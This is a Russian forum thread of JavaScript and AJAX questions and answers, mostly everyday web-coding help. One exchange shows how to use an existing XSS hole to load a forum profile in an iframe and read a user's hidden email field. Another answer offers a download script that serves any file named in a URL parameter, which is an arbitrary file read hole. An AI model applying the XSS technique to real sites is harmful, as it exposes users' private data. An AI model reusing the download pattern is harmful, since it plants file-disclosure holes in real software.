Просмотр полной версии : [JavaScript, AJAX] Задай вопрос, получи ответ
Страницы :
1
2
3
[
4]
5
6
7
8
9
10
Прописал как ты посоветовал вообще попап окошко не вылазит, в исходники нтмл получилось следующие:
function winop(){
var win=window.open('','','width=400,height=120')
win.document.open()
win.document.write('<html><meta http-equiv=Content-Type content=text/html; charset=windows-1251><img src="smiles/aa.gif" onclick="document.getElementById('messe').value=':aa:'"><img src="smiles/ab.gif" onclick="document.getElementById('messe').value=':ab:'"><img src="smiles/ac.gif" onclick="document.getElementById('messe').value=':ac:'"><img src="smiles/ad.gif" onclick="document.getElementById('messe').value=':ad:'"><img src="smiles/ae.gif" onclick="document.getElementById('messe').value=':ae:'"><img src="smiles/af.gif" onclick="document.getElementById('messe').value=':af:'"><img src="smiles/ag.gif" onclick="document.getElementById('messe').value=':ag:'"><img src="smiles/ah.gif" onclick="document.getElementById('messe').value=':ah:'"><img src="smiles/ai.gif" onclick="document.getElementById('messe').value=':ai:'"><img src="smiles/aj.gif" onclick="document.getElementById('messe').value=':aj:'"><img src="smiles/ak.gif" onclick="document.getElementById('messe').value=':ak:'"><img src="smiles/al.gif" onclick="document.getElementById('messe').value=':al:'"><img src="smiles/am.gif" onclick="document.getElementById('messe').value=':am:'"><img src="smiles/an.gif" onclick="document.getElementById('messe').value=':an:'"><img src="smiles/ao.gif" onclick="document.getElementById('messe').value=':ao:'"><img src="smiles/ap.gif" onclick="document.getElementById('messe').value=':ap:'"><img src="smiles/aq.gif" onclick="document.getElementById('messe').value=':aq:'"><img src="smiles/ar.gif" onclick="document.getElementById('messe').value=':ar:'"><img src="smiles/as.gif" onclick="document.getElementById('messe').value=':as:'"><img src="smiles/at.gif" onclick="document.getElementById('messe').value=':at:'"><img src="smiles/au.gif" onclick="document.getElementById('messe').value=':au:'"><img src="smiles/av.gif" onclick="document.getElementById('messe').value=':av:'"><img src="smiles/aw.gif" onclick="document.getElementById('messe').value=':aw:'"><img src="smiles/ax.gif" onclick="document.getElementById('messe').value=':ax:'"><img src="smiles/ay.gif" onclick="document.getElementById('messe').value=':ay:'"><img src="smiles/az.gif" onclick="document.getElementById('messe').value=':az:'"><img src="smiles/ba.gif" onclick="document.getElementById('messe').value=':ba:'"><img src="smiles/bb.gif" onclick="document.getElementById('messe').value=':bb:'"><img src="smiles/bc.gif" onclick="document.getElementById('messe').value=':bc:'"><img src="smiles/bd.gif" onclick="document.getElementById('messe').value=':bd:'"><img src="smiles/be.gif" onclick="document.getElementById('messe').value=':be:'"><img src="smiles/bf.gif" onclick="document.getElementById('messe').value=':bf:'"><img src="smiles/bg.gif" onclick="document.getElementById('messe').value=':bg:'"><img src="smiles/bh.gif" onclick="document.getElementById('messe').value=':bh:'"><img src="smiles/bi.gif" onclick="document.getElementById('messe').value=':bi:'"><img src="smiles/bj.gif" onclick="document.getElementById('messe').value=':bj:'"><img src="smiles/bk.gif" onclick="document.getElementById('messe').value=':bk:'"><img src="smiles/bl.gif" onclick="document.getElementById('messe').value=':bl:'"><img src="smiles/bm.gif" onclick="document.getElementById('messe').value=':bm:'"><img src="smiles/bn.gif" onclick="document.getElementById('messe').value=':bn:'"><img src="smiles/bo.gif" onclick="document.getElementById('messe').value=':bo:'"><img src="smiles/bp.gif" onclick="document.getElementById('messe').value=':bp:'"><img src="smiles/bq.gif" onclick="document.getElementById('messe').value=':bq:'"><img src="smiles/br.gif" onclick="document.getElementById('messe').value=':br:'"><img src="smiles/bs.gif" onclick="document.getElementById('messe').value=':bs:'"><img src="smiles/bt.gif" onclick="document.getElementById('messe').value=':bt:'"><img src="smiles/bu.gif" onclick="document.getElementById('messe').value=':bu:'"><img src="smiles/bv.gif" onclick="document.getElementById('messe').value=':bv:'"><img src="smiles/bw.gif" onclick="document.getElementById('messe').value=':bw:'"></html>')
win.document.close()
}
исходник пхп
function vivodsmiles()
{
global $files;
$text="<html><meta http-equiv=Content-Type content=text/html; charset=windows-1251>";
foreach ($files as $key=>$value)
{
$text=$text."<img src=\"smiles/$value.gif\" onclick=\"document.getElementById('messe').value=':$value:'\">";
}
$text=$text."</html>";
return $text;
}
-------------
echo "
<script>
function winop(){
var win=window.open('','','width=400,height=120')
win.document.open()
win.document.write('$smm')
win.document.close()
}
</script>";
---------
echo '<form action=',$_SERVER["PHP_SELF"],' method="POST">
Сообщение:   <input id="messe" type="text" name="mess"><input type="submit" name="enter" value="Отправить"></form>
<a href="javascript:winop();">Открыть окно</a>';
Помогите плиз! :)
Architek86
31.07.2008, 02:33
Не понимаю, что я не так делаю...
Вставил в старницу (http://домен1/) Prototype JavaScript framework version 1.6.0.2, между head:
<script type="text/javascript" src="js/prototype.js"></script>
Затем вставил явакод (тоже между head):
<script type="text/javascript"><!--
function pokupka() {
var url = 'http://домен2/tccnd/cent.php';
var params = 'cn=1215154';
var ajax = new Ajax.Updater (
{success: 'tccont'},
url,
{method: 'get',
parameters: params,
onFailure: centerror}
);
}
function centerror(request) {
$('tccont').innerHTML = "Ошибка";
}
// --></script>
Потом у нас идёт такая форма уже между body:
<form>
<table border="0" width="100%" cellspacing="0" cellpadding="2" class="entryTable">
<tr><td class="entryTextTd" colspan="2">ля-ля</td></tr>
<tr><td class="entryDetailsTd1" colspan="2"><a href="javascript://" onclick="pokupka();">Купить</a></td></tr>
</table>
<div class="catPages1"> </div>
</td>
<td align="right" valign="top"><div class="rightcol">
<div class="block">
<div class="blockhead">Авторизация</div>
<div class="blockcont1">ля-ля</div>
</div>
<br /><br /><br />
<div class="block">
<div class="blockhead">Корзина</div>
<div class="blockcont1">
<div id="tccont"></div>
</div>
</div>
</form>
Код файла http://домен2/tccnd/cent.php:
<?php
echo($_GET['cn']);
?>
По идеи при нажатии на "Купить" у нас вот между "<div id="tccont">" и "</div>" должно отобразится значение "cn" (в моём примере это 1215154) без перезагрузки, т.е. ajax, но этого почему-то не происходит... вообще ничего не отображается там... почему? Может ли быть дело в том, что сайт расположен на одном сервере (http://домен1/), а вот cent.php на другом (http://домен2/tccnd/cent.php)?
имеется форма:
<form name="form1" method="post" action="">
<p>
<select name="select">
<option value="1" selected>1</option>
<option value="2">2</option>
<option value="3">3</option>
</select>
</p>
<p>
<input type="text" name="textfield">
</p>
</form>
нужно чтобы при выборе select, данные передавались в textfield
вроде видел где-то подобное, но так и нашел, поэтому решил спросить тут:)
А на локалхосте? Вообще то может, во flash - точно из соображений безопасности файло должно лежать на одном домене, либо явно указываешь в Action Script домен...
Держи bomber:
<script type="text/javascript">
function getSelId(obj){
document.getElementById('textfield').value = obj.options[obj.selectedIndex].value;}
</script>
<p>
<select name="select" onchange="getSelId(this)">
<option value="1" selected>1</option>
<option value="2">2</option>
<option value="3">3</option>
</select>
</p>
<p>
<input type="text" name="textfield">
</p>
есть скриптик
<html><head><title>123</title></head>
<body>
<style type="text/css">
.navhead {
font-weight: bold;
background-color: #ccc;
color: blue;
text-decoration: underline;
cursor: pointer;
}
#navbody1, #navbody2 { visibility: hidden; }
</style>
<script language="javascript" type="text/javascript">
function menushow(menunum)
{
var currentmenu = document.getElementById("navbody" + menunum);
currentmenu.style.visibility = 'visible';
if (menunum==1) {menunum2=2} else {menunum2=1}
document.getElementById("navbody" + menunum2).style.visibility = 'hidden';
}
</script>
<div onclick="menushow('1'); "style="float: left;">
<div class="navhead">Информация</div>
<div id="navbody1">
<a href="/news.html">Новости</a><br />
<a href="/products.html">Товары</a><br />
<a href="/about.html">О компании</a>
</div>
</div>
<div onclick="menushow('2');">
<div class="navhead">Купить</div>
<div id="navbody2" style="float: left;">
<a href="/buy1.html">Продукт 1</a><br />
<a href="/buy2.html">Продукт 2</a><br />
<a href="/buy3.html">Продукт 3</a>
</div>
</div>
</body>
<html>
выводит при нажатии на Информация
Информация Купить
Новости
Товары
О компании
при нажатии на Купить
Информация Купить
Продукт 1
Продукт 2
Продукт 3
надо чтобы выводил при нажатии на Купить так
Информация Купить
Продукт 1
Продукт 2
Продукт 3
то есть без сдвига вправо, как сделать?
Лови:
<html><head><title>123</title></head>
<body>
<style type="text/css">
.navhead {
font-weight: bold;
background-color: #ccc;
color: blue;
text-decoration: underline;
cursor: pointer;
}
#navbody1, #navbody2 { visibility: hidden; }
</style>
<script language="javascript" type="text/javascript">
function menushow(menunum)
{
var currentmenu = document.getElementById("navbody" + menunum);
currentmenu.style.visibility = 'visible';
if (menunum==1) {menunum2=2} else {menunum2=1}
document.getElementById("navbody" + menunum2).style.visibility = 'hidden';
}
</script>
<div onClick="menushow('1'); "style="float: left;">
<div class="navhead">Информация</div>
<div id="navbody1" style="position:absolute;">
<a href="/news.html">Новости</a><br />
<a href="/products.html">Товары</a><br />
<a href="/about.html">О компании</a>
</div>
<div id="navbody2" style="position:absolute;">
<a href="/buy1.html">Продукт 1</a><br />
<a href="/buy2.html">Продукт 2</a><br />
<a href="/buy3.html">Продукт 3</a>
</div>
</div>
<div onClick="menushow('2');">
<div class="navhead">Купить</div>
</div>
</body>
<html>
Architek86
31.07.2008, 20:48
А на локалхосте? Вообще то может, во flash - точно из соображений безопасности файло должно лежать на одном домене, либо явно указываешь в Action Script домен...
Блин, точно.. проверил.. когда файл cent.php там же, где и сам сайт - всё прекрасно работает... я так понимаю, это этакая защита от XSS, но блин... очень нужно, чтобы cent.php и сам сайт лежали на разных серверах... где-то видел решение, что мол, надо юзатьtry {
netscape.security.PrivilegeManager.enablePrivilege ("UniversalBrowserRead");
} catch(e){}, вставил его в свою функцию вот так:<script type="text/javascript"><!--
function pokupka() {
try {
netscape.security.PrivilegeManager.enablePrivilege ("UniversalBrowserRead");
} catch(e){}
var url = 'http://домен2/tccnd/cent.php';
var params = 'cn=1215154';
var ajax = new Ajax.Updater (
{success: 'tccont'},
url,
{method: 'get',
parameters: params,
onFailure: centerror}
);
}
function centerror(request) {
$('tccont').innerHTML = "Ошибка";
}
// --></script>, но нифига не помогает.. что не так? (http://forum.antichat.ru/showpost.php?p=795828&postcount=752)
Держи bomber:
спасибо добрый человек :)
как сделать так, чтобы в случае, если в <input type="text"> ведут слово "00" то текст второго инпута будет зелёным ? а если нет, то останется чёрным по дефолту <input type="text" value="правильно">
2 159932
<input type="text" name="input1" onkeyup="if(this.value=='00'){document.getElementById('inpu t2').style.color='#006600';}else{document.getEleme ntById('input2').style.color='#000000';}">
<input type="text" name="input2" value="правильно">
MafiaBoy3
01.08.2008, 17:23
У меня офигенная проблема с Ajax'om
Вообщем я написал для своего сайта скрипт на php + ajax для добавления комментариев. Ясное дело что использовал post-запрос.
И вот в чём проблема: Когда загружаю скрипт (test.php) всё нормально работает, то есть отдельно от сайта. (значит библиотека работает отлично).
Копирую код php и формы в страницу для сайтаю Запускаю скрипт, нажимаю по кнопке отправить комментарий и ничего не происходит!!! (Только висит предложение на экране Подождите, идёт загрузка...)
Извините,если плохо объяснил. Помогите!
у меня в инпут уже заранее внесено "00" как сделать так, чтоб 00 подствечивало красным изначально, а если значение поменяется - то и цвет поменяется на зелёный, на этот инпут мышка не наводится и не кликает по нему ..
Что тут на JS набросал...
<script language="javascript">
function get_color(){
if(document.getElementById('input3').value!="00"){
document.getElementById('input3').style.color='#00 6600';
}
}
</script>
<input type="text" name="input3" value="00" style="color:#FF0000;" readonly="readonly">
<input type="button" value="ok" onclick="document.getElementById('input3').value='01'; get_color();" />
BlackSun
02.08.2008, 17:34
Есть js - var k = window.event.keyCode;
Под оперой норм пашет, а FF фыркает .. в чем бага?
Vanofuture
02.08.2008, 21:44
Есть js - var k = window.event.keyCode;
Под оперой норм пашет, а FF фыркает .. в чем бага?
Вот примерная функция:
<script type="text/javascript">
function keypress(e){
if(window.event)
k = window.event.keyCode; // Ie && Opera
else
k = e.which; // Firefox
}
document.onkeypress=keypress;
</script>
Народ кто нить знает как по нажатии на кнопку или ссылку можно сохранить определенный рисунок. ну что бы появилось диалоговое окно куда нужный рисунок сохранять?
ты считаешь что по клику на ссылку браузер предложит сохранить рисунок? такого не будет.
возможно два варианта:
1. использование server-side скриптов:
download.php:
<?php
if (!isset($_GET['filename'])) die;
header("Content-Type: application/octet");
echo file_get_contents($_GET['filename']);
?>
somepage.html:
<iframe name=iframe style="display:none"></iframe>
<a target="iframe" href="http://localhost/download.php?filename=pic.gif"><img src="pic.gif" border="0"></a>
Минус: пользователю будет предложено сохранить файл с названием download.php, возможное решение - использование mod_rewrite
2. Использование метода execCommand (http://msdn.microsoft.com/en-us/library/ms536419(VS.85).aspx) с параметром SaveAs - работало только в IE <= 6, впоследствии было ликвидировано в целях безопасности
ты считаешь что по клику на ссылку браузер предложит сохранить рисунок? такого не будет.
Ой, извини blaga я загнался! Вот вариант от меня:
<form action="save.php" method="post">
<input type="submit" value="Сохранить изображение" />
</form>
save.php
<?php
header("Content-Disposition: attachment; filename=img.jpg");
header("Content-Type: application/x-force-download; name=\"img.jpg\"");
?>
mff, хе. и вправду все ок. :)
Есть еще вариант через flash, но думаю он тебя не интересует. Да и замороченней там будет... А то, что на html это не реализовать - меня бесит...
блин опять 25.
если в скрипте в хидерах принимать параметры тогда он будет предлагать пхп файл сохранить. :(
Драсте =) в общем яваскрипте я не силён так что решил спросить у вас =)
У меня эвент работает в опере и ФФ а в осле не пахает =\\
<select><option OnClick="location.href='http://localhost/a/index.php?s=2'" >Default</option><option OnClick="location.href='http://localhost/a/index.php?s=3'" >whiteskin</option></select>
Драсте =) в общем яваскрипте я не силён так что решил спросить у вас =)
У меня эвент работает в опере и ФФ а в осле не пахает =\\
<select><option OnClick="location.href='http://localhost/a/index.php?s=2'" >Default</option><option OnClick="location.href='http://localhost/a/index.php?s=3'" >whiteskin</option></select>
<select onchange="твоя функция">
<option>....
Vanofuture
03.08.2008, 23:52
Драсте =) в общем яваскрипте я не силён так что решил спросить у вас =)
У меня эвент работает в опере и ФФ а в осле не пахает =\\
<select><option OnClick="location.href='http://localhost/a/index.php?s=2'" >Default</option><option OnClick="location.href='http://localhost/a/index.php?s=3'" >whiteskin</option></select>
<select onchange="location.href='http://localhost/a/index.php?s='+this.options[this.selectedIndex].value;">
<option value="2">Default</option>
<option value="3">whiteskin</option>
</select>
Architek86
04.08.2008, 21:31
<div id="gopa">15154</div>
Как яваскриптом провесть это число между дивами, сложить его с другимчислом, например 456, и вывести вот тут:
<div id="otvet"></div>
:) ?
<div id="gopa">15154</div>
<div id="otvet">44</div>
<script>
alert(document.getElementById("gopa").innerHTML + document.getElementById("otvet").innerHTML);
</script>
Только объяви их как чмсла, а то сконкатектирует :)
Vanofuture
05.08.2008, 00:50
<div id="gopa">15154</div>
Как яваскриптом провесть это число между дивами, сложить его с другимчислом, например 456, и вывести вот тут:
<div id="otvet"></div>
:) ?
<script type="text/javascript">
num=parseInt(document.getElementById('gopa').inner HTML);
document.getElementById('otvet').innerHTML=num+456 ;
</script>
:)
Vanofuture
05.08.2008, 00:51
<div id="gopa">15154</div>
Как яваскриптом провесть это число между дивами, сложить его с другимчислом, например 456, и вывести вот тут:
<div id="otvet"></div>
:) ?
<script type="text/javascript">
target=document.getElementById('gopa');
num=parseInt(target.innerHTML);
document.getElementById('otvet').innerHTML=num+456 ;
</script>
:)
Здравствуйте!
Есть текст: Loading...
Нужно сделать анимирование троеточия...
Если раскладывать на кадры, то получится что-то вроде:
Loading
Loading.
Loading..
Loading...
mouse.pro
05.08.2008, 18:41
Здравствуйте!
Есть текст: Loading...
Нужно сделать анимирование троеточия...
Если раскладывать на кадры, то получится что-то вроде:
Loading
Loading.
Loading..
Loading...
изображение не выход?
изображение не выход?
Да, нет... Вы знаете, хотелось бы на Java
Vanofuture
05.08.2008, 20:51
Здравствуйте!
Есть текст: Loading...
Нужно сделать анимирование троеточия...
Если раскладывать на кадры, то получится что-то вроде:
Loading
Loading.
Loading..
Loading...
Картинки рулят. Картинок прелоудеров существует громадное количество, есть даже сервис позвоялющий создавать собственные. :cool:
Но если зачем-то надо только на JavaScript, то вот похожее:
<span style="font-weight:bold;font-size:120%;" id="dotArea">Loading</span>
<script type="text/javascript">
function makeDots(){
dotArea=document.getElementById('dotArea');
dotLen=dotArea.innerHTML.length;
if(dotLen==7){dotArea.innerHTML='Loading.';}
if(dotLen==8){dotArea.innerHTML='Loading..';}
if(dotLen==9){dotArea.innerHTML='Loading...';}
if(dotLen==10){dotArea.innerHTML='Loading';}}
dotInt=setInterval('makeDots()',500);
</script>
Как можно получить значение элемента href тега <a>, например ссылка <a href="http://www.google.com">Google</a>
Нужно вытащить http://www.google.com.
Спасибо.
нужно вставить в тег а вот это: id="123"
получится так
<a id="123" href="http://www.google.com">Google</a>
а потом
<script>
function get_url()
{
qwe = document.getElementById('123').href;
alert(qwe);
}
</script>
тока кнопку какую нить сделай , которая будет функцию запускать
PS код не проверял но должен сработать
<a id="aaa" href="http://www.google.com">Google</a>
<script language="javascript">
alert(document.getElementById('aaa').href);
</script>
блин хотел подкинуть репы +4 а подкинулось +2, чо так?
Есть <div>, как при нажатии на кнопку, расположить его ровно по центру монитора?
рано по середине у меня не получилось только так
http://wizardcom.ru/?send=good
вот код -
<div onclick="this.style.display='none'"
height="56"
style="position: absolute; z-index:1000; left: 480px; top: 350px;
background-color:#737373; color: #FFFFFF; display: block;
font-family: Tahoma;
font-size: 14px;
padding: 20px;
text-align: center;
border: 1px solid #a7afaf;
cursor: pointer;
width: 300px;">
<nobr><b>Спасибо, Ваш заказ принят!</b></nobr><br>
кликните чтобы скрыть
</div>
див в коде мона где угодно расположить
Есть на javascripte ширина и высота, нужно эти значения поделить на 2 и прибавить половину длинны и ширины дива.. Вроде так как то... HELP!!!
<script type="text/javascript">
function hide()
{
t = document.getElementById('test');
t.style.textAlign='center';
t.style.marginTop='25%';
}
</script>
<button onclick="hide();">move</button>
<div id="test">
test
</div>
Работает, но думаю тут по другому надо...
я в процентах пробовал указывать, фигня получилась какая то, посередине див не вставал
Работает, но думаю тут по другому надо... ага, чуть по другому! У дива будет фиксированная ширина и баграунд. HELP!!!
1ten0.0net1
07.08.2008, 00:24
Проблема такая:
1) Есть сайт с активной XSS - например, site.com/news.php?id=1;
2) Есть форум - site.com/forum/profile.php?id=1;
В профиле указывается мыло пользователя, которое видно только ему. К мылу я смог обратиться со страницы site.com/forum/profile.php?id=1 (абстрактно! сохранил страницу на винт и редактировал оффлайн!) <script>alert(document.all("YEmail").value)</script>
А вот обратиться к этому же элементу, но с первой страницы, там где XSS я не могу. Перепробовал несколько вариантов. Например:
<script>
function pechenki(Name)
{
alert(document.all(Name).value);
}
</script>
<IFRAME src="http://www.site.com/forum/profile.php?id=1" onload="pechenki('YEmail')" id="frame0" WIDTH="0" HEIGHT="0" >
</IFRAME>
Этот скрипт не работает, я так подозреваю потому, что объект document существует для первой ссылки, где XSS, а не для форума. ВОПРОС - как обращаться к элементам страницы, которая на том же домене (форум), но не имеет XSS?
Заранее спасибо за ответ.
эм. мне кажется что дело тут в обьектной модели документа.
http://keep4u.ru/full/080807/96e4de6693cb579eb7/jpg
вот она. там есть такой объект frames
возможно нужно глянуть в его сторону?
вот что надыбал в яше
Объект frame имеет следующие свойства:
frames массив, отражающий все фреймы окна
name отражает атрибут NAME тага <FRAME>
length отражает количество фреймов-потомков внутри фрейма
parent синоним для окна или фрейма, содержащего текущий фрейм
self синоним для текущего фрейма
window синоним для текущего фрейма
может быть путь window.frames.document.all.(Name).all или window.frames.frame0.document.all.(Name).all подойдет....
Ну это только домыслы.... :( на реальных примерах я не потестил....
да и вот еще вдогонку мож поможет...
Объект window является "родительским" объектом для всех объектов в Navigator'е. Вы можете создать несколько окон в приложении JavaScript. Объект Frame определяется тэгом FRAME в документе FRAMESET. Frame-объекты имеют те же свойства и методы, что и объекты window, и отличаются только способом отображения.
Vanofuture
07.08.2008, 18:06
Этот скрипт не работает, я так подозреваю потому, что объект document существует для первой ссылки, где XSS, а не для форума. ВОПРОС - как обращаться к элементам страницы, которая на том же домене (форум), но не имеет XSS?
Заранее спасибо за ответ.
Надо сначала обратится к фрейму, а потом уже к его документу.
<script type="text/javascript">
function getFrameValue(Frame,Name){
alert(Frame.document.all(Name).value);}
</script>
<iframe src="http://www.site.com/forum/profile.php?id=1" onload="getFrameValue(this,'YEmail');"></iframe>
Да и лучше вместо all юзать getElementById :)
помогите пожалуйста, мне нужен скрипт если есть фотоальбома подобный этому
http://volvo-xc60.ru/?page_id=10
там внизу изображение, при щелчке открывается затемняя фон, ну вообщем может у кого есть готовая реализация подобного?
m0nsieur
08.08.2008, 13:19
Посмотри в этом обзоре галерей, может найдешь чего полезного - http://cyrill.co.uk/2008/01/15/pure-css-dhtml-javascript-galleries/
Так же на ачате писали про создание галереи с использованием библиотеки jQuery и плагина к ней, посмотреть тут - http://forum.antichat.ru/thread71867.html
Уважаемые знатоки яваскрипта, помогите решить такую проблему. Есть огромный выпадающий список, упорядоченный по алфавиту. Нужно как-то совместить его с текстовым полем, чтобы при вводе первых букв в текстовое поле, в списке оставались только элементы, начинающиеся на эти буквы. Если ничего в текстовое поле не ввели, то отображается весь список.
m0nsieur
08.08.2008, 22:57
Уважаемые знатоки яваскрипта, помогите решить такую проблему. Есть огромный выпадающий список, упорядоченный по алфавиту. Нужно как-то совместить его с текстовым полем, чтобы при вводе первых букв в текстовое поле, в списке оставались только элементы, начинающиеся на эти буквы. Если ничего в текстовое поле не ввели, то отображается весь список.
Посмотри http://plugins.jquery.com/project/dxCombobox здесь почти то, что тебе надо, возможно немного переделать, а может и в таком виде тебя устроит.
Демо посмотри здесь - http://dmashups.com/demos/dxCombobox.html
Karapuziko
09.08.2008, 02:26
Народ подскажите как мне на Js из файла вывести все на страницу...
а подробнее ситуацию описать?
Karapuziko
09.08.2008, 23:33
таки никто не подскажет да?
Мне нужен скрипт (Java Script), который из определенного файла на сервере выведит его содержимое построчно в HTML страничку...
Karapuziko
09.08.2008, 23:43
РАзве я на ПХП прошу?
мог бы пройти мимо если не знаешь ответа.
Через ajax, файл нужный для вывода естесственно должен быть на твоем сервере:
<html>
<head>
<title>test</title>
<script type="text/javascript">
//<![CDATA[
var path = './test.txt';
if(typeof(XMLHttpRequest)!='undefined'){
var getXMLHttpObj = function(){ return new XMLHttpRequest(); }
} else {
var getXMLHttpObj = function(){
var activeXObjects = ['Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0',
'Msxml2.XMLHTTP.3.0', 'Msxml2.XMLHTTP', 'Microsoft.XMLHTTP'];
for(var i=0; i<activeXObjects.length; i++){
try{
return new ActiveXObject(activeXObjects[i]);
}catch(err){}}}}
var Ajax = getXMLHttpObj();
Ajax.open('GET', path, true);
Ajax.onreadystatechange = processingFunction;
Ajax.send();
function processingFunction(){
if(Ajax.readyState!=4) return;
document.getElementById('result').innerHTML = Ajax.responseText;
}
//]]>
</script>
</head>
<body>
<div id="result">
</div>
</body>
</html>
Доброе утро! Кто подскажет, как можно манипулировать прокруткой слоя? Задача, сделать так, чтобы прокрутки при загрузке были по центру, вот код:
<div style="BORDER-RIGHT: #e3d9d0 2px solid; BORDER-TOP: #e3d9d0 2px solid; SCROLLBAR-FACE-COLOR: #675547; MARGIN: 0px; SCROLLBAR-HIGHLIGHT-COLOR: #e3d9d0; OVERFLOW: auto; BORDER-LEFT: #e3d9d0 2px solid; WIDTH: 100%; SCROLLBAR-SHADOW-COLOR: #e3d9d0; SCROLLBAR-3DLIGHT-COLOR: #e3d9d0; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-TRACK-COLOR: #e3d9d0; BORDER-BOTTOM: #e3d9d0 2px solid; SCROLLBAR-DARKSHADOW-COLOR: #e3d9d0; HEIGHT: 250px; width:480px; BACKGROUND-COLOR: #ffffff" align="left">
<img id="new_map" height="600" alt="" width="1000" src="images/map.gif" />
</div>
MafiaBoy3
11.08.2008, 16:05
Как можно на ajax сделать раскрывающиеся (складывающиеся) панельки?
Я имею ввиду на чистом а не на библиотеке, типа jquery, prototype, acula
У меня на jquery просто панельки не работают в Internet Explorere
m0nsieur
11.08.2008, 16:18
При наведении или клике по определенной области отсылаешь запрос на серв, он отдает тебе ту часть меню массивом, ты отрисовываешь ответ сервера в <div> как тебе нравится. Вот примерный план действий.
MafiaBoy3
11.08.2008, 16:22
m0nsieur
Мне то нужно сделать панельки которые разворачиваются (сворачиваются) медленно или быстро......?
Я у же написал систему добавления комментариев с Ajax
Интересно почему клик не обрабатывается в IE. Ведь Jquery пашет в ней начиная с 6 версии
m0nsieur
11.08.2008, 16:29
Вот демо на jquery http://jdsharp.us/jQuery/plugins/jdMenu/1.3.beta2/jdMenu-demo.html
Вот тут можно скачать - http://jdsharp.us/jQuery/plugins/jdMenu/#
У меня под IE заработало, попробуй.
Тут возник такой вопрос, на который я не могу найти ответа.
И так суть
ширину окна можно определить так
document.body.clientWidth
а теперь самое интересно, как можно определить размер ширины окна во время имения окна, т.е когда мы сжимаем или разворачиваем окно.
Кто подскажет как сделать, с меня плюсик (:
P.S. т.е нужно постоянно определять ширину окна.
P.S. УРА.... надо подробней читать документацию... Решине найдено
window.onresize = function() {
alert(document.body.clientWidth);
}
max_rebel
11.08.2008, 20:39
как сделать самое простенькое ламерское такое выпадающее меню на Js? наводишь на сылку курсор и выпадает три пункта - выбираешь и переходишь по ссылке? спс
https://forum.antichat.ru/showpost.php?p=766052&postcount=5
Что неправильного в этой функции, точнее говоря FireFox, Opera и т.п. норм ее используют а ослу не нравиться что-то!
p.s. тут jquery исп.
function send_login() {
$.ajax({
type: 'POST',
data:
{
login: $("#lf_login").val(),
passwd: $("#lf_password").val(),
log_in: '1'
},
url: 'libs/ajax_login.php',
success: function(data) {
if (data > '') {
$("#result").html(data);
} else {
$("#result").html(data);
}
text_saved = data;
},
});
}
И еще у меня в начале файла index делаеться в head "script src" на мой файл с пользовательскими функциями! Но осел как всегда не видит вообще этих функций, пишит что их якобы нету... Хотя если все функции оттуда поместить в head вместо "script src", то все норм) почему так? это тока в осле такая лажа
Вообще-то даже ИЕ может такое делать, уверен что запись соответствует:
<script src="/dir/script.js" type="text/javascript"></script>
Вообще-то даже ИЕ может такое делать, уверен что запись соответствует:
<script src="/dir/script.js" type="text/javascript"></script>
с этим понял там надо было оказываеться ослу подать слеш в начале обязательно ппц вообще, а что с send_login ?
Подскажите скрипт или линк на пример скрипта, чтобы при нажатии на ссылку под ней плавно выезжал div.
<a onclick="???">View some text 1</a>
<div id="???" style="display:none;">some text 1</div>
<a onclick="???">View some text 2</a>
<div id="???" style="display:none;">some text 2</div>
Подскажите скрипт или линк на пример скрипта, чтобы при нажатии на ссылку под ней плавно выезжал div.
<a onclick="???">View some text 1</a>
<div id="???" style="display:none;">some text 1</div>
<a onclick="???">View some text 2</a>
<div id="???" style="display:none;">some text 2</div>
http://demos.mootools.net/Fx.Slide
inlanger
13.08.2008, 13:58
В javascript почти не разбираюсь... Но вот возник такой вопрос:
У меня есть выпадающий список
<select name="mm" class="inputs" style="width: 100px;">
<option value="1" selected="selected">January</option>
<option value="2">February</option>
<option value="3">March</option>
<option value="4">April</option>
<option value="5">May</option>
<option value="6">June</option>
<option value="7">July</option>
<option value="8">August</option>
<option value="9">September</option>
<option value="10">October</option>
<option value="11">November</option>
<option value="12">December</option>
</select>
И ссылка
<a href=somelink.php>Some Link</a>
И мне надо, чтобы при выборе значения из списка ссылка динамически менялась в соответствии с выбором, например
<a href=somelink.php?mm=8>Some Link</a>
Как это сделать?
m0nsieur
13.08.2008, 16:02
Держи
<html>
<script type="text/javascript">
function Func(id_sel, id_link) {
var n = document.getElementById(id_sel).selectedIndex;
document.getElementById(id_link).href +='?mm=';
document.getElementById(id_link).href += document.getElementById(id_sel).options[n].value ;
}
</script>
<body>
<select id="sel" name="mm" class="inputs" style="width: 100px;" onchange="Func(this.id,'link')">
<option value="1" selected="selected">January</option>
<option value="2">February</option>
<option value="3">March</option>
<option value="4">April</option>
<option value="5">May</option>
<option value="6">June</option>
<option value="7">July</option>
<option value="8">August</option>
<option value="9">September</option>
<option value="10">October</option>
<option value="11">November</option>
<option value="12">December</option>
</select>
<a id="link" href=somelink.php>Some Link</a>
</body>
</html>
inlanger
13.08.2008, 16:12
Спасибо, работает!
inlanger
13.08.2008, 16:15
Только вот есть проблема... Каждый раз после выбора месяца к ссылке дописывается mm.
<a id="link" href=somelink.php?mm=3?mm=10?mm=12?mm=1>Some Link</a>
m0nsieur
13.08.2008, 16:34
Извини, когда обнаружил ошибку инет отвалился =(
Вот исправленная версия
<html>
<script type="text/javascript">
function Func(id_sel, id_link) {
document.getElementById(id_link).href = '';
document.getElementById(id_link).href = 'somelink.php';
var n = document.getElementById(id_sel).selectedIndex;
document.getElementById(id_link).href +='?mm=';
document.getElementById(id_link).href += document.getElementById(id_sel).options[n].value ;
}
</script>
<body>
<select id="sel" name="mm" class="inputs" style="width: 100px;" onchange="Func(this.id,'link')">
<option value="1" selected="selected">January</option>
<option value="2">February</option>
<option value="3">March</option>
<option value="4">April</option>
<option value="5">May</option>
<option value="6">June</option>
<option value="7">July</option>
<option value="8">August</option>
<option value="9">September</option>
<option value="10">October</option>
<option value="11">November</option>
<option value="12">December</option>
</select>
<a id="link" href=somelink.php>Some Link</a>
</body>
</html>
inlanger
13.08.2008, 16:43
А как быть, если у меня несколько select'ов?
m0nsieur
13.08.2008, 16:46
и оба на link влияют?
inlanger
13.08.2008, 16:51
Да, вся группа этих селектов дописывает по одному параметру в ссылке. День, месяц, год и два текстовых значения
m0nsieur
13.08.2008, 17:48
Тут тогда не все так просто, потому как возможно придется какой-нить из параметров линка перезаписать, если первый раз например неверно выбрал месяц - Январь, а надо было Февраль и при этом перезаписать тот параметр линка и удалить старый, то это в гемор превратиться, может через Ajax на серверной стороне через php уже поколдовать над url, что-то больше ничего пока не приходит.
inlanger
13.08.2008, 17:51
